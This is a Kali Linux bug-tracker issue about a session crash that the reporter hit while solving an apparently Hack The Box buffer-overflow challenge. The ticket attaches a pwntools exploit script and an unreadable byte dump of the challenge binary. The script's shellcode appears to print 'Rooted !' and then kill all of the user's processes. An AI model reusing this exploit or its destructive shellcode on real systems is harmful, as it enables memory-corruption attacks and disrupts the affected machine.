View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0006310 | Kali Linux | General Bug | public | 2020-04-20 13:41 | 2021-09-14 20:15 |
| Reporter | OverRide0x | Assigned To | |||
| Priority | normal | Severity | minor | Reproducibility | always |
| Status | closed | Resolution | suspended | ||
| Product Version | 2020.1 | ||||
| Summary | 0006310: can inject shell shock throw vulnerable app to close the session and login again | ||||
| Description | while working on vulnerable challenge , and by accident make my kali crash and the exit session and login again | ||||
| Steps To Reproduce | you will only need to start the fuzzer.py script with python look into the source and change the app dir for the vuln app called leak after run it my kali output file called core you will see it also in the uploaded files | ||||
| Attached Files | fuzz.py (509 bytes)
from pwn import *
import time
sh = process('/home/abdallah/Desktop/htb/JET/leak')
print(sh.recvuntil(b"Oops, I'm leaking! "))
base = sh.recvuntil(b"\n")
print(base[:-1])
rip = int(base[:-1],16)
payload_len = 72
buf = b"\xb0\xaa\x49\xb8\x52\x6f\x6f\x74\x65\x64\x20\x21\x41\x50\x48\x89\xe7\x40\xb6\x08\x0f\x05\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05"
buf_len = len(buf)
padding = b"A"*(payload_len-buf_len)
payload = buf + padding + p64(rip)
time.sleep(1)
sh.send(payload)
sh.interactive()
sh.close()
leak (9,112 bytes)
ELF > �@ @ � @ 8 @ @ @ @ @ @ � � 8 8@ 8@ @ @ �
�
` ` X � ( (` (` � � T T@ T@ D D P�td L L @ L @ D D Q�td R�td ` ` � � /lib64/ld-linux-x86-64.so.2 GNU GNU �#�_ A���p/����rs%j
�
) � fUa9� " = K ) ] C / �` �` 6 �` libc.so.6 exit signal puts stdin printf fgets stdout stderr alarm setvbuf __libc_start_main __gmon_start__ GLIBC_2.2.5 ui l �` �`
�` �` ` ` (` 0` 8` @` H` P` H��H�
H��t� H��� �5
�%
@ �%
h ����%� h �����%� h ����%� h ����%� h ����%� h ����%� h ����%� h �p����%b f� 1�I��^H��H���PTI� @ H��@ H��/@ �w����f D �o` UH-h` H��H��v� H��t]�h` ��f � ]� @ f. � �h` UH��h` H��H��H��H��?H�H�t� H��t ]�h` �� ]�f D �=Q uUH���n���]�> �� @ � ` H�? u� � H��t�UH���]�z���UH��H���}�� @ �e���� ����UH�徖@ � ����@ �^���H�� � � � H�����H�� � � � H���b���H�� � � � H���D����]�UH��H��@� �t���H�E�H�ƿ @ � �����0 @ ����F @ � ���H� H�E�� H������� �ÐAWAVA��AUATL�%n UH�-n SI��I��L)�H��H������H��t 1� � L��L��D��A��H��H9�u�H��[]A\A]A^A_Ðf. � �� H��H��� Bye! Oops, I'm leaking! %p
Pwn me ¯\_(ツ)_/¯ > ;@ ����� T���\ J���� i���� ��� D��� ����\ zR x � �* zR x � $ ���� FJ w� ?;*3$" D ���� A�C
d ����z A�C
u � ��` A�C
[ D � (���e B�B�E �B(�H0�H8�M@r8A0A(B BBB � P��� p@ P@ �@
@ ` ` ���o �@ @ �@
x ` � @ �@ ` ���o �@ ���o �o x@ (` @ &@ 6@ F@ V@ f@ v@ �@ GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609 8@ T@ t@ �@ �@ @ x@ �@ �@
@ �@ @
�@ �@ @ @ L @ � @ ` ` ` (` �` ` X` �` � ` �@ @ . P@ D �` S ` z p@ � ` � � � � �
@ � ` � � ` � (` � ` � L @ ` @ / K �` � X` _ q �` � h` ) @ � � �@ z � � � � X` � `` ( @ 7 �@ e � �` � �@ * G �@ O h` [ /@ ` ` u � � h` � � �@ � �` crtstuff.c __JCR_LIST__ deregister_tm_clones __do_global_dtors_aux completed.7585 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry babyrop.c __FRAME_END__ __JCR_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable stdout@@GLIBC_2.2.5 puts@@GLIBC_2.2.5 stdin@@GLIBC_2.2.5 _edata printf@@GLIBC_2.2.5 __init alarm@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 fgets@@GLIBC_2.2.5 __data_start signal@@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init handler __bss_start main setvbuf@@GLIBC_2.2.5 _Jv_RegisterClasses exit@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable stderr@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .jcr .dynamic .got.plt .data .bss .comment 8@ 8 # T@ T 1 t@ t $ D ���o �@ � 0 N �@ � 8 V @ x ^ ���o x@ x k ���o �@ � z �@ � ` � B @ � � �@ � � @ � � �@ � � �@ � b � @ � @ 9 � L @ L D � � @ � 4 � ` � ` � ` � (` ( � � �` � � ` X � X` X � �` h 0 0 h 4 � � P / � � | ||||
 |
This report has been filed against an old version of Kali. We will be closing this ticket due to inactivity. |
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2020-04-20 13:41 | OverRide0x | New Issue | |
| 2020-04-20 13:41 | OverRide0x | Issue generated from: 0006262 | |
| 2020-12-01 10:48 | g0tmi1k | Priority | urgent => normal |
| 2020-12-01 10:50 | g0tmi1k | Severity | crash => minor |
| 2021-09-14 20:15 | g0tmi1k | Status | new => closed |
| 2021-09-14 20:15 | g0tmi1k | Resolution | open => suspended |
| 2021-09-14 20:15 | g0tmi1k | Note Added: 0015166 |
